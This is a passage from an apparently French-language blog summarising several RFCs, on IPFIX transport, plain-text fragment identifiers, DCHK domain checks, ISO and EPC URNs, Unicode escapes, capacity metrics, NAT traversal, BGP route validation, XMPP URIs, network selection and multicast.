La section 6 est consacrée aux problèmes de transport. Contrairement à beaucoup d'autrs protocoles IETF, où un seul protocole de transport est spécifié, afin de maximiser l'interopérabilité, IPFIX offre un grand choix : UDP, TCP et SCTP, ce dernier étant le seul obligatoire (avec son extension PR du RFC 3758). La section 6.1 justifie ce choix et rappelle quelques conséquences de l'utilisation de SCTP. Par exemple, l'extension PR (Partial Reliability) permet d'envoyer les enregistrements avec différents niveaux de fiabilité (ceux liés à la facturation nécessitant typiquement davantage de soins que ceux de simple statistique).
En revanche, la section 6.2, consacrée à UDP, explique pourquoi ce protocole est dangereux et comment limiter les risques (notamment en ne l'utilisant qu'au sein de réseaux fermés et contrôlés). Cela peut être le cas si on met à jour un système Netflow en IPFIX, puisque Netflow n'utilisait que UDP.
La section 7 est consacrée aux middleboxes, les machines intermédiaires comme les coupe-feux ou les routeurs NAT. Perturbant les flots mesurés, elles entrainent de délicats problèmes pour la mesure, par exemple la nécessité de bien choisir le point exact d'observation (section 7.2). Comme ces intermédiaires peuvent modifier certaines caractéristiques du flot comme le port, l'information transmise par IPFIX peut devenir très variable (section 7.3.3).
La section 8 est dédiée à la sécurité. IPFIX sert souvent à transporter des données sensibles et la section 8.1 rappelle qu'il peut être prudent d'utiliser DTLS ou TLS, afin d'éviter qu'un indiscret ne prenne connaissance des informations.
Date de publication du RFC : Avril 2008
Auteur(s) du RFC : E. Wilde (UC Berkeley), M. Dürst (Aoyama Gakuin University)
Chemin des normes
Première rédaction de cet article le 10 avril 2008
Les URI disposent depuis longtemps d'un
moyen de désigner une partie d'un document, par
les biais des « identificateurs de fragments », précédés d'un
dièse, comme par exemple
http://www.example.org/foobar.html#section3
.
Entièrement interprétés par le client Web, ces
identificateurs étaient définis seulement pour XML et
HTML et notre RFC ajoute le texte brut.
La façon classique d'utiliser ces identificateurs est de modifier le document cible pour y ajouter un élément à viser, par exemple :
<p id="avertissement-sante">Fumer est dangereux pour la santé.</p>
fera qu'un navigateur pourra, lorsqu'on lui demandera
http://www.example.org/document.html#avertissement-sante
,
aller directement à ce paragraphe. On peut aussi utiliser, au lieu
d'un simple nom comme avertissement-sante
,
utiliser une expression XPath, si le navigateur
accepte XPointer. En outre, avec
XLink, on peut même pointer vers un document
qu'on ne peut ou ne veut modifier, ce qui évite de devoir ajouter des
attributs id
ou name
.
Le texte brut (normalisé dans MIME par le RFC 2046) n'étant pas, lui, structuré, on ne pouvait pas compter sur des « marques » particulières. D'où le choix de notre RFC de compter les caractères ou bien les lignes.
C'est ainsi que les URI de ce RFC
ressembleront à
http://library.example/2007/11/5311.txt#char=6234
(le curseur du navigateur ira sur le 6234ème caractère) ou bien
http://library.example/2004/03/228.txt#line=534,580
(le navigateur affichera le texte compris entre la 534ème ligne et la
580ème).
Mais les documents accessibles sur le Web tendent à changer. De
tels identificateurs de fragments sont clairement moins robustes que
ceux utilisant un attribut du document XML (comme
avertissement-sante
plus haut), ou bien que ceux
utilisant une expression XPath. Comment détecter le cas où un
paragraphe a été ajouté, faussant ainsi les liens ? Cette norme permet
d'ajouter à l'URI un mécanisme de contrôle d'intégrité, en indiquant
la longueur ou bien la somme de contrôle MD5 (RFC 1321) du document. Si elles
ne correspondent pas, le navigateur sait qu'il ne doit pas utiliser
l'identificateur de fragment. Ainsi,
http://www.myblog.example/2006-12/mespensees.php#line=50;length=19576,UTF-8
amènera le navigateur à compter le nombre de caractères du document et
à ignorer l'identificateur de fragment s'il ne trouve pas 19576 caractères.
Notre RFC doit aussi traiter des problèmes plus subtils comme la façon de compter les fins de ligne du document (il existe plusieurs façons de les représenter, et la norme décide qu'une fin de ligne compte toujours pour un caractère).
Un autre problème subtil est la nécessité de tenir compte de
l'encodage des caractères. En effet,
char=
compte bien le nombre de
caractères, pas le nombre
d'octets.
Deux implémentations existent, une dans Amaya et une en Python, incomplète mais quand même utile: TextFrag.py
.
À noter aussi une présentation par un des auteurs, un amusant et intéressant article de Tim Bray, Matthew-6:9.txt#line=,1 et un intéressant texte de Karl Dubost élargissant le problème.
Date de publication du RFC : Février 2008
Auteur(s) du RFC : A. Newton (Verisign), M. Sanz (DENIC)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF crisp
Première rédaction de cet article le 29 février 2008
Notre RFC propose un profil d'IRIS pour répondre à une question simple : ce domaine est-il libre ou pas ?
Aujourd'hui, l'enregistrement d'un nom de
domaine commence souvent par une recherche de sa
disponibilité. L'utilisateur final va sur le site Web du
registrar de son choix, tape
le nom convoité, le registrar interroge le
registre et
renvoie la réponse à l'utilisateur. Mais comment le
registrar contacte t-il le registre ? Il existe une
solution à moitié standard, le protocole whois
(RFC 3912). En analysant le résultat de la
requête, on peut trouver si le domaine est libre (ici, avec
.fr
) :
% whois vraimentnimportequoi.fr ... domain: vraimentnimportequoi.fr status: AVAILABLE
whois a quelques défauts. Le format de sortie n'est pas normalisé, donc il faut trouver une expression indiquant la disponibilité, et la trouver pour chaque registre. Ce manque de normalisation est encore plus gênant si le domaine n'est pas libre et qu'on veut trouver pourquoi. Est-il déjà réservé ? Est-ce un terme interdit ? Ensuite, whois nécessite un traitement assez importante du côté du serveur, puisqu'il doit extraire de la base de données du registre beaucoup d'informations, beaucoup plus que ce qu'on désirerait pour simplement connaitre la disponibilité d'un domaine.
Cette lourdeur des traitements d'un serveur whois fait que les registres mettent en général en place des limitations strictes à son usage, par exemple en limitant le rythme d'accès.
Quelles sont les solutions propres, donc ? Pour le cas des
registrars, les registres proposent en général des
outils spécifiques comme un service EPP, dont
la commande <epp:check>
permet de récupérer
des informations utiles (section 2.9.2.1 du RFC 4930). Souvent, ces outils utilisent un protocole privé, par
exemple, pour .fr
, ce
programme Python
utilisant SOAP trouve
la disponibilité d'un domaine :
import SOAPpy # In some versions, a bug prevents authentication, you have to # add "import base64" yourself import sys, os, string SOAPpy.Config.debug = False hostname = "XXXXXX.nic.fr" path = "" user = "REGISTRAR-NAME" password = "REGISTRAR-PASSWORD" namespace = 'http://soap.nic.fr/Domain' action = 'check_domain' if len(sys.argv) > 1: domain = string.lower(sys.argv[1]) else: print "Usage: %s domain-name" % sys.argv[0] sys.exit(1) server = SOAPpy.SOAPProxy("https://%s:%s@%s/%s" % (user, password, hostname, path), namespace=namespace, soapaction = namespace + '#' + action) domain_reply = server.check_domain (domain); if domain_reply["free"]: print "%s is available" % domain else: print "%s is NOT available because \"%s\" (%s)" % (domain, domain_reply["message"], domain_reply["reason"])
Mais, si on n'est pas registrar ? Quelles sont les solutions pour le public, surtout s'il veut pouvoir effectuer un grand nombre de requêtes, à des fins plus ou moins légitimes ?
Une première solution est de proposer une version réduite de
whois. C'est ce que fait
.nl
, avec l'option
is
:
% whois "is amsterdam.nl" amsterdam.nl is active % whois "is certainlynonexistent.nl" certainlynonexistent.nl is free
Ne fournissant qu'une information limitée, ce service charge moins le serveur et est donc disponible avec des limites plus larges.
Et enfin, une autre solution fait l'objet de ce RFC 5144 : utiliser le protocole IRIS (RFC 3981) et un sous-ensemble de son schéma de données pour les domaines, DREG, au dessus d'un transport le plus léger possible. DCHK est donc un sous-ensemble de DREG (RFC 3982), limité à quelques informations, la disponibilité, bien sûr, mais aussi la date d'enregistrement, le statut, etc. Voici un exemple de réponse à une requête DHCK (ici, le domaine n'est pas libre) :
<domain> <domainName>example.org</domainName> <status><active/></status> </domain>
Le registre qui déploie DCHK le rendra typiquement plus accessible (limites moins strictes) que son service IRIS/DREG complet ou bien que son service whois.
Le protocole de transport recommandé, section 3.3, pour sa légèreté, est LWZ (RFC 4993), basé sur UDP.
Denic avait annoncé la disponibilité de ce service et la distribution du code source du client. Mais, finalement, DENIC a renoncé marquant la fin d'IRIS, qui n'a jamais été sérieusement déployé.
Date de publication du RFC : Mars 2008
Auteur(s) du RFC : J. Goodwin (ISO), H. Apel (ISO)
Pour information
Première rédaction de cet article le 22 mars 2008
Un nouveau venu dans la famille des NID (Namespace identifier), les autorités qui gèrent un groupe d'URN, l'ISO, organisme international de normalisation, qui pourra ainsi enfin donner à ses textes, notamment aux normes, un identifiant unique et automatiquement analysable.
La section 1 du RFC présente l'ISO et ses procédures. Cette présentation est un peu idéalisée et oublie de signaler que l'ISO est renommée pour sa fermeture. Il est difficile d'en faire partie (l'ISO est une fédération d'organismes nationaux comme l'AFNOR en France, eux-mêmes en général tout aussi fermés), les processus sont compliqués et sans transparence.
Les
normes produites ne sont pas distribuées sur Internet, sauf exceptions. Cette mentalité
a beaucoup contribué à l'échec des protocoles
OSI par rapport à ceux de l'Internet,
normalisés dans des RFC librement
accessibles. Outre les exceptions citées plus haut, parfois, les
auteurs ou les agences de maintenance de la norme distribuent une
version non officielle de la norme à partir de leur site (par exemple,
Schematron, norme n° 19757 , est distribuée par
son auteur en http://www.schematron.com/spec.html
.) La section 4 du RFC parle entre
autres de cette question, en faisant porter la responsabilité de cet
état de fait sur les organisations membres de l'ISO ou associées, tout
en prétendant que la disponibilité de la norme n'est finalement pas
une question si importante (« Only the product engineer or
software tool builder actually needs access to the text »).
Comme le détaille cette section, le vote à l'ISO est par pays. Ce ne sont pas les participants aux groupes de travail (souvent de vrais experts, comme cela a été le cas pour le groupe qui a donné à RelaxNG le statut de norme ISO) qui votent mais les représentants officiels de chaque pays. Ces votes étant non publics, le citoyen français n'a aucun moyen de savoir ce qu'a voté son pays. Par exemple, la rumeur dit que la France avait voté NON à ISO 639-3 mais on ne peut pas le vérifier, les votes n'étant pas connus.
Le cahier des charges de ces identificateurs ISO apparait dans l'excellente section 3 du RFC. Il s'agit d'avoir des identificateurs uniques, stables dans le temps, lisibles par des humains (d'autres critères figurent dans cette section). Chacun de ces choix est justifié en détail et on ne peut que recommander la lecture de cette section à tous ceux qui travaillent sur un projet de famille d'identificateurs. L'annexe A contient un examen d'autres identificateurs qui avaient été envisagés et rejetés, comme les OID du RFC 3061.
Avec la section 2 commence la description de ce nouveau groupe
d'URN (RFC 8141). Le
NID (Namespace Identifier) sera iso
et le reste
de l'URN identifiera le texte (pas forcément une norme), son statut,
l'édition actuelle, la langue, etc.
Par exemple, la norme C, d'origine
ANSI (l'ANSI est le membre états-unien de
l'ISO), développée avec
l'IEC et portant le n° 9899, seconde édition,
en anglais, sera urn:iso:std:iso-iec:9899:ed-2:en
(elle n'est apparemment pas disponible en ligne mais on peut la
trouver sur eDonkey sous le nom
ISO-C99-final-ISO9899-ed2.pdf
). La norme
ISO 15924 sur les
écritures pourrait, elle, se noter
urn:iso:std:iso:15924:en,fr
(on notera qu'elle
est disponible en deux langues, français et anglais et elle fait
partie des normes distribuées par
son agence de maintenance, le consortium
Unicode).
La section 2.8 décrit une correspondance entre ces URN et des URI
http
, ce qui permettrait de résoudre les URN,
grâce à une passerelle que l'ISO envisage de déployer (apparemment,
elle n'est pas encore en service). (Cela ne veut pas dire qu'on aura
accès à la norme, mais seulement aux métadonnées sur celle-ci.)
Ainsi, la norme « Codes de représentation des sexes
humains » (1 pour les hommes et 2 pour les femmes) dont l'URN serait
urn:iso:std:iso-iec:5218:ed-1:en,fr
aurait un
URL de http://standards.iso.org/iso-iec/5218/ed-1/en,fr
.
Date de publication du RFC : Février 2008
Auteur(s) du RFC : J. Klensin
Première rédaction de cet article le 24 février 2008
Idéalement, aujourd'hui, tous les protocoles Internet devraient être complètement internationalisés et notamment devraient accepter que les données soient exprimées dans un des encodages classiques d'Unicode, comme UTF-8. Mais ce n'est pas encore le cas. Ce RFC propose une approche pour utiliser des caractères Unicode dans les derniers protocoles dinosauriens qui n'acceptent normalement que l'ASCII.
La section 1.1 explique bien que ce RFC ne s'applique pas aux protocoles qui acceptent déjà un ou plusieurs encodages Unicode, ce qu'ils feront tous dans le futur, espérons-le. Mais, en attendant ce jour, ce RFC s'applique aux vieux protocoles. Actuellement, ceux-ci acceptent presque tous une forme d'échappement qui leur permet de transporter plus ou moins d'Unicode. L'idée est de mettre un peu d'ordre dans ces formes, sans aller jusqu'à les standardiser complètement (ce que tentaient de faire les premières versions de l'Internet-Draft qui a donné naissance à ce RFC).
Le cas de textes parlant de caractères Unicode (« Les citations en français doivent commencer par un demi-cadratin, le U+2013 ») n'est pas non plus couvert : de tels textes, conçus pour les humains et non pour les programmes, doivent utiliser la notation Unicode traditionnelle U+nnnn comme ci-dessus (section 3).
Notre RFC recommande donc finalement deux formes pour les caractères Unicode dans les fichiers conçus pour être lus par des programmes. En prenant l'exemple du И cyrillique (U+0418, grand I), les deux formes recommandées sont :
Pourquoi ces deux formes ? Comme l'explique la section 2, il existe de nombreuses solutions. Un premier principe qui a guidé celle choisie est qu'il fallait encoder des points de code Unicode (les index dans la table Unicode comme le 418 hexadécimal ci-dessus) et surtout pas des octets d'un encodage particulier comme le font, malheureusement, les URI (section 2.1 du RFC 3986).
Un deuxième principe est d'utiliser des délimiteurs explicites, pour éviter toute ambiguïté, sans forcer les caractères à être représentés par un nombre fixe de chiffres (section 4).
Plusieurs formes couramment recontrées dans la nature sont discutées dans le RFC et rejetées (section 6 et annexe A) :
\u0418
qui viole le premier principe (c'est un
sur-encodage d'UTF-16, ce qui n'est pas gênant
pour notre grand I cyrillique, qui fait partie du Plan Multilingue de
Base d'Unicode, mais complique les choses pour les caractères en dehors de ce plan),\u0418
, mais qui utilise un grand U et huit
chiffres pour les caractères en dehors du Plan Multilingue de Base,
une astuce bien dans la ligne de ce langage,\x{418}
, qui avait personnellement ma préférence,
notamment par ses délimiteurs symétriques, mais qui a été écartée car
certains craignaient une ambiguïté possible due à la possibilité en
Perl d'utiliser d'autres encodages.Enfin, on notera que le RFC ne spécifie pas d'échappement standard
si on veut écrire, par exemple \u'0418'
sans qu'il soit
interprété comme un caractère Unicode. Le truc classique du \\ est
recommandé mais pas imposé.
Date de publication du RFC : Février 2008
Auteur(s) du RFC : P. Chimento (JHU Applied Physics Lab), J. Ishac (NASA)
Pour information
Réalisé dans le cadre du groupe de travail IETF ippm
Première rédaction de cet article le 12 février 2008
Ce RFC définit un concept important en matière de métrologie du réseau, le concept de capacité qui remplace celui, ambigu, de bande passante.
Le groupe de travail IP Performance Metrics de l'IETF continue à ajouter au savoir commun d'intéressants RFC normalisant notamment les concepts utilisés, afin que des comparaisons puissent être faites entre les mesures effectuées par des équipes différentes. Ce RFC s'attaque au concept de capacité (capacity), qui a vocation à remplacer celui, flou et peu exact, de bande passante.
Une des raisons du flou est la volontée délibérée par certains acteurs de présenter des chiffres plus favorables. On voit ainsi souvent, sur le marché de l'accès Internet par ADSL des chiffres donnés en débit de la couche physique, pas en débit des couches plus hautes, pourtant les seules qui intéressent les utilisateurs. Le concept de bande passante avait aussi d'autres défauts, comme son origine dans le monde de l'analogique qui faisait que, même utilisé correctement, son étymologie était source de confusion. Ainsi, la section 3.4 donne l'exemple d'un lien 802.11b où l'électronicien annoncera une « bande passante » de 25 Mhz, l'ingénieur réseaux une « bande passante » de 11 Mbps, alors que l'utilisateur final ne pourra pas obtenir plus de 8 Mbps de débit.
La section 1 de notre RFC donne d'autres exemples des différences de capacité selon les couches. Par exemple, le codage Manchester de l'Ethernet classique fait perdre une bonne partie de la capacité théorique. Tout mécanisme de somme de contrôle consomme également des bits qui sont perdus pour les couches hautes. Les mécanismes d'accès au réseau peuvent encore réduire la capacité théorique. C'est ainsi que le CSMA/CD de l'Ethernet classique ne permet pas d'utiliser toute la capacité théorique. Des chiffres de 35 % d'utilisation maximale de l'Ethernet avaient circulé à une époque mais ils ne reposaient, ni sur un calcul théorique, ni sur des expériences ; et ils étaient totalement faux. Ceci dit, on ne peut pas atteindre les 100 %.
Bref, la capacité ne peut être sérieusement définie que pour une couche donnée.
La section 2 s'attaque aux définitions proprement dites. Reprenant les notions de lien et de chemin du RFC 2330, ainsi que la notion de « paquets de type P » (paquets d'un type donné, pour tenir compte du fait que le débit mesuré peut dépendre du type de paquets, TCP plutôt que UDP, par exemple) notre RFC définit :
La section 3 est ensuite consacrée à discuter de cette terminologie et des difficultés de mesure. C'est là par exemple qu'est traité le cas de la compression (par exemple avec ROHC, RFC 3095) ou bien le rapport entre la capacité et les grandeurs définies par le RFC 3148 (ce dernier RFC traite de la capacité utile, c'est-à-dire des données effectivement transmises par le protocole de transport).
Date de publication du RFC : Janvier 2008
Auteur(s) du RFC : M. Mealling (Refactored Networks)
Pour information
Première rédaction de cet article le 17 janvier 2008
Deux nouveaux membres de la grande famille des
URN, epc:
et
epcglobal:
vont désormais apparaitre dans les
URN, notamment pour désigner les identificateurs portés par les
code-barres ou bien par les puces
RFID.
EPC est le cadre dans lequel sont gérés
plusieurs protocoles et plusieurs familles
d'identificateurs, liés en général à la notion
de chaîne d'approvisionnement. Le but est de suivre des objets physiques passant
dans les entrepôts, les containers, les magasins... Ces objets sont
identifiés par un lecteur de code-barres ou bien par un lecteur
RFID, qui détermine leur identificateur. Par exemple, les identificateurs
GTIN, utilisés dans les
code-barres en font partie (ils sont attribués
par GS1). Ce RFC spécifie
comment représenter ces identificateurs sous forme
d'URN (RFC 8141) commençant par
epc:
. Un autre espace de noms,
epcglobal:
, servira pour les espaces
de noms XML des protocoles
associés.
Le RFC ne fait que résumer la syntaxe de ces nouveaux URN, la
spécification complète est écrite par EPC sous le titre de
EPC Tag Data Standards et ne semble pas disponible
en ligne (EPCglobal est une organisation très fermée, la plupart des
références données par le RFC ne sont pas accessibles). Un exemple
d'un de ces URN est
urn:epc:id:sgtin:0614141.100743.2
, utilisant les
identificateurs SGTIN.
Notons que ces identificateurs pourront peut-être servir d'entrées dans le DNS pour accéder à des informations sur ces objets. C'est le système ONS, qui utilisera les NAPTR du RFC 3401.
Date de publication du RFC : Décembre 2007
Auteur(s) du RFC : D. McWalter (Data Connection)
Chemin des normes
Première rédaction de cet article le 17 décembre 2007
Un très court RFC qui normalise la représentation des étiquettes de langue dans les MIB.
Plusieurs MIB, les structures de données utilisées notamment pour SNMP, utilisaient leurs propres conventions pour représenter des identificateurs formels comme les URI ou les étiquettes de langue du RFC 4646. Petit à petit, ces conventions migrent dans des RFC spécialisés. Celui-ci décrit simplement en une page les conventions à utiliser pour mettre une étiquette de langue dans une MIB, comme celles du RFC 5132.
Le principal choix est de les mettre entièrement en minuscules, puis de limiter leur longueur à 64 caractères.
Date de publication du RFC : Mars 2008
Auteur(s) du RFC : P. Srisuresh (Kazeon), B. Ford (MIT), D. Kegel (kegel.com)
Pour information
Réalisé dans le cadre du groupe de travail IETF behave
Première rédaction de cet article le 30 mars 2008
Pour faire face à la plaie du NAT, les applications pair-à-pair ont développé de nombreuses techniques pour pouvoir passer à travers les routeurs NAT. Ce RFC les documente.
Le groupe de travail Behave de l'IETF travaille à normaliser les techniques permettant de contourner les NAT et les nombreux problèmes qui leur sont associés. Quoique certains à l'IETF auraient préféré qu'aucun travail permettant de rendre les NAT plus supportables ne soit effectué, le consensus a finalement été qu'il valait mieux travailler à faire fonctionner les applications malgré les NAT, plutôt que de rêver supprimer ceux-ci.
Ce RFC ne normalise pas un protocole mais examine l'état de l'art, en matière de fonctionnement en présence de NAT. Il rappelle que les NAT n'apportent rien en matière de sécurité mais, comme cette technique est largement déployée, il est préférable de documenter les bricolages divers qu'utilisent les applications forcées de vivre derrière un NAT.
Il existe deux grandes catégories de techniques pare-NAT. Celles qui reposent sur une signalisation explicite de l'application au routeur NAT. La plus connue est UPNP. L'IETF a son MIDCOM (cf. RFC 4097) pour le même rôle. Ces techniques ne sont pas étudiées dans notre RFC.
Les autres techniques pare-NAT sont celles qui ne nécessitent pas forcément de communication explicite entre l'application et le routeur NAT. Chacune est détaillée dans une section de ce RFC.
La terminologie utilisée est celle du RFC 2663, pas celle des « cônes » du RFC 3489 et la section 2 est entièrement occupée à débroussailler les questions de vocabulaire.
Les techniques décrites ensuite sont :
La section 5 résume ces techniques et les recommandations des auteurs. Le perçage est la technique la plus efficace à l'heure actuelle.
La section 6, consacrée à la sécurité, est très détaillée car les NAT crée de nombreux problèmes de sécurité.
Notre RFC contient aussi, en section 4, une bonne liste des articles sur le sujet, afin d'aider l'auteur d'applications qui veut maximiser les chances de fonctionnement dans toutes les circonstances.
Date de publication du RFC : Février 2008
Auteur(s) du RFC : R. White, B. Akyol (Cisco)
Pour information
Première rédaction de cet article le 8 avril 2008
La sécurité du protocole BGP, par lequel les routeurs Internet échangent l'information sur les routes existantes, est depuis longtemps un sujet de préoccupation. Actuellement, BGP (RFC 4271) n'offre quasiment aucune sécurité contre les usurpations (un routeur annonce une route qu'il n'a pas « le droit » d'annoncer, comme lors de la récente usurpation perpétrée par Pakistan Telecom). Pourquoi ne valide t-on pas les routes annoncées ? En partie parce que c'est plus compliqué que ça n'en a l'air, comme l'explique ce récent RFC.
Beaucoup de gens, étonnés qu'un technicien incompétent à Karachi puisse stopper l'activité d'un site Web stratégique et essentiel uniquement en détournant son trafic grâce à BGP, réclament des mesures drastiques et notamment la validation des routes annoncées par BGP. Certains opérateurs, rares, font une validation partielle, en général basée sur le contenu des IRR. Pourquoi cette pratique n'est-elle pas plus répandue ?
Les mécanismes existants de sécurité comme BGP-MD5 (RFC 2385) ou TCP-AO (RFC 5925) ne sécurisent que le canal de communication entre deux routeurs. Ils permettent d'être sûr de l'identité du pair BGP, mais pas de valider ce qu'il annonce. Le routeur de Pakistan Telecom était authentique, il était aussi menteur et BGP-MD5 ne protège pas le message, uniquement le canal.
Notre RFC fait donc la liste des points à vérifier lors d'une validation. Le premier (section 1.1) est évidemment de savoir si l'AS d'origine est autorisé à annoncer cette route. C'est un point crucial mais qui n'est pas le sujet de notre RFC, qui se consacre au devenir ultérieur de cette annonce. Plusieurs autres questions sont ensuite posées dans le RFC. Par exemple, la section 1.3 demande « Est-ce que l'annonce par un routeur qui n'est pas de l'AS d'origine est autorisée ? » et explique que la question est bien plus subtile qu'elle ne le semble puisqu'il y a en fait trois sous-questions derrière cette question apparemment simple :
192.0.2.128/25
(route authorization).192.0.2.0/24
(reachability
authorization).Ces trrois autorisations, à première vue équivalentes, peuvent en fait donner des résultats différents, comme le montrent les exemples ultérieurs.
Citons uniquement un exemple, présenté en section 2.2, qui exploite le fait que la route réellement empruntée n'est pas contrôlée par la source mais par chaque AS intermédiaire. Un AS annonce à son voisin une route avec un chemin d'AS, mais, en interne, il a une route statique qui prend un autre chemin. L'annonce est-elle valide ? L'AS annonceur était autorisé à annoncer cette route (route authorization et reachability authorization) mais il est impossible de déterminer s'il y avait transit authorization puisque le chemin réellement emprunté n'apparait pas dans l'annonce.
Globalement, ce RFC fait à mon avis œuvre utile en expliquant la complexité du routage Internet. Il donne parfois un peu trop dans le pinaillage en montant en épingle des cas intéressant mais très rares. Le vrai problème de la validation des routes en BGP est plutôt l'absence d'un système de « droit d'usage » permettant de savoir qui a le droit d'annoncer telle route. Sans un tel système, les protocoles sécurisés de diffusion de routes (qui existent, et reposent sur la cryptographie) n'ont rien sur lequel se baser. (Un groupe de travail de l'IETF, RPSEC, travaille actuellement à un cahier des charges pour un routage sécurisé. Un exemple de mécanisme permettant de valider les annonces de route a été publié début 2012.)
Date de publication du RFC : Février 2008
Auteur(s) du RFC : P. Saint-Andre (XSF)
Chemin des normes
Première rédaction de cet article le 7 mars 2008
Le protocole XMPP (RFC 6120)
fournit notamment la possibilité de services de messagerie instantanée. Les adresses qu'utilise XMPP (par exemple
bortzmeyer@gmail.com
puisque j'utilise
Google Talk, qui repose sur XMPP) ne sont pas
des URI et il y a des cas où il serait utile de
pouvoir désigner ces ressources XMPP par un URI, ce que fait notre
RFC.
Succédant au RFC 4622 (les seuls changements sont des
corrections d'erreurs), notre RFC décrit la syntaxe et la
sémantique des URI XMPP. Le RFC 3920 excluait les URI pour
désigner les ressources XMPP mais cette règle s'est avérée trop
contraignante pour les applications, comme l'explique les sections 1
et 2.1. La section 2.2 nous introduit à la syntaxe des URI (ou plutôt
des IRI, mais une raison compliquée liée aux
procédures IANA fait que le RFC doit mentionner
les deux familles) XMPP et leur formation à partir d'une
classique adresse XMPP (détaillée en 2.7). Il faut notamment ajouter le plan
xmpp:
et encoder les caractères qui ne sont pas
légaux dans un IRI. L'adresse XMPP donnée au premier paragraphe
devient donc l'URI xmpp:bortzmeyer@gmail.com
.
La section 2.3 couvre un cas délicat. La syntaxe des URI
génériques, décrite dans le RFC 3986, spécifie,
dans sa section 3.2,
une autorité optionnelle, précédée de deux barres
de division. Par exemple, dans
http://www.bortzmeyer.org/5122.html
,
www.bortzmeyer.org
est l'autorité. Il existe des
URI sans mention d'une autorité, comme
mailto:stephane+blog@bortzmeyer.olrg
. Les URI
XMPP, eux, peuvent avoir une autorité, qui a la forme d'un compte
XMPP. Si elle est absente, c'est le compte par défaut qui est
utilisé. C'est ainsi que xmpp:durand@example.net
n'indique pas d'autorité (on utilisera le compte par défaut) alors que
xmpp://martin@exemple.fr/durand@example.net
désigne la même ressource mais en spécifiant le compte qui doit être
utilisé.
Continuant dans les composants d'un URI, la section 2.4 traite le
chemin et 2.5 la requête, qui se trouve après un point
d'interrogation. Compte tenu de la variété des applications XMPP (ce
protocole ne traite pas que la messagerie instantanée, même si c'est
son utilisation principale aujourd'hui, voir le RFC 3921), le RFC ne spécifie pas de
sémantique précise pour cette requête, elle dépendra de
l'application. Par exemple
xmpp:nicolas@pauvre-con.fr?message;subject=Casse%20toi
pour déclencher l'envoi d'un message avec le sujet indiqué (on note
que le séparateur des arguments avec ce plan XMPP est le
point-virgule et pas l'habituelle
esperluète).
La section 2.8 détaille le traitement de tels URI par les logiciels (il y a beaucoup de subtilités à gérer) et la 2.9 les questions d'internationalisation ; les adresses XMPP sont en UTF-8 et peuvent donc être converties directement en IRI XMPP. Pour avoir un URI XMPP, les adresses contenant des caractères non-ASCII devront être encodées, par exemple lors de la transformation de l'IRI en URI.
La section 3 du RFC est simplement le formulaire réglementaire d'enregistrement d'un plan (scheme) d'URI auprès de l'IANA, suivant le RFC 4395.
Date de publication du RFC : Janvier 2008
Auteur(s) du RFC : J. Arkko (Ericsson), B. Aboba (Microsoft), J. Korhonen (TeliaSonera), F. Bari (AT&T/UBC
Pour information
Réalisé dans le cadre du groupe de travail IETF eap
Première rédaction de cet article le 26 janvier 2008
Ce RFC décrit l'ensemble du problème de la découverte et de la sélection d'un réseau particulier, lorsque plusieurs sont accessibles à la machine, ce qui est courant avec les équipements portables.
Un ordinateur portable, aujourd'hui se trouve fréquemment confronté au problème de trouver les réseaux disponibles et d'en choisir un. Placé dans une chambre d'hôtel, il est connecté par un câble Ethernet au réseau de l'hôtel, mais il reçoit aussi le signal de trois réseaux Wifi différents, certains de ces quatre réseaux n'étant pas forcément accessibles à l'utilisateur (pas d'autorisation) et les autres différant par leur prix, leur qualité et les services qu'ils offrent. Lequel choisir ? Notre RFC ne résout pas le problème mais l'analyse et y met un peu d'ordre.
La section 1 détaille de manière précise cette question. Par exemple, les protocoles actuels permettent de publier assez clairement les caractéristiques de la couche 2 du réseau d'accès (par exemple, en 802.11, si le réseau est ouvert ou pas) mais ne donnent pas d'information sur les couches supérieures. Peut-être que ce réseau ne me donne qu'une adresse IP privée et m'enferme derrière un coupe-feu très strict alors que cet autre réseau me donne un vrai accès Internet mais comment le savoir sans s'y connecter ?
La section 2 liste ensuite les problèmes précis, notamment :
stephane@fai.example.net
) et un
mis à ma disposition par mon entreprise
(bortzmeyer@boulot.com
), lequel utiliser ?La section 3 définit des principes qui devraient être suivis par les mécanismes permettant de traiter ces problèmes. Par exemple, les engins portables ayant souvent une autonomie limitée, il faudrait éviter les longs dialogues, qui peuvent vider la batterie plus vite. La sécurité y fait l'objet d'une attention particulière, car la sélection d'un réseau est un bon endroit où attaquer, par exemple en essayant de convaincre une machine de se connecter au réseau le moins sécurisé...
Enfin, la conclusion, en section 4, affirme qu'il reste beaucoup de travail à faire dans ce domaine et fournit quelques pistes de recherche. L'annexe A décrit en détail les travaux déjà effectués à l'IETF, les RFC 4284, RFC 4066, etc, mais aussi à l'IEEE ou dans 3GPP.
Un exemple d'un logiciel qui met en œuvre une telle sélection de réseau est NetworkManager sur Unix, logiciel qui est composé de deux parties, un démon tournant sous root qui détecte les événements réseau (comme l'insertion ou le retrait d'une carte) et une application graphique qui assure l'interface utilisateur, les deux communiquant via dbus. NetworkManager permet à l'utilisateur de sélectionner facilement un réseau mais ne semble pas lui-même capable de faire des choix à part des cas très simples comme « Un réseau filaire est préférable à un réseau sans-fil ».
Date de publication du RFC : Janvier 2008
Auteur(s) du RFC : P. Savola (CSC / FUNET)
Pour information
Première rédaction de cet article le 1 février 2008
Ce RFC tente de mettre un peu d'ordre dans la galaxie des protocoles Internet liés au multicast en indiquant lesquels sont aujourd'hui encore en utilisation et lesquels doivent être considérés comme abandonnés.
Ce RFC ne mérite pas tout à fait son titre. Il ne présente pas une vision de haut niveau du multicast aujourd'hui, simplement une liste des protocoles qui concourent à la diffusion multicast, avec les recommandations associées. Ainsi, les techniques normalisées dans les RFC 3913 ou RFC 1584 sont officiellement indiquées comme abandonnées. Gérer un réseau multicast a en effet nécessité une grande souplesse, les techniques ayant souvent changé.
Comme IPv6, le multicast n'a jamais connu de déploiement significatif sur Internet (certains réseaux privés, en revanche, l'utilisent intensivement, par exemple pour la diffusion de chaînes de télévision). Il existe un grand contraste entre l'intérêt que suscite le multicast chez les experts, le nombre étonnant de RFC sur le sujet, son enseignement massif à l'Université, les analyses de consultant prévoyant son déploiement massif, et son peu d'utilisation dans le monde réel. Une des raisons est que le multicast est surtout adapté aux cas où un grand nombre de gens veulent le même contenu pile en même temps (cas des chaînes de télévision traditionnelles) et pas au cas où les demandes sont décalées dans le temps (cas de la vidéo à la demande), même si les demandes sont proches (cas de la distribution d'un nouveau gros logiciel, où BitTorrent domine).
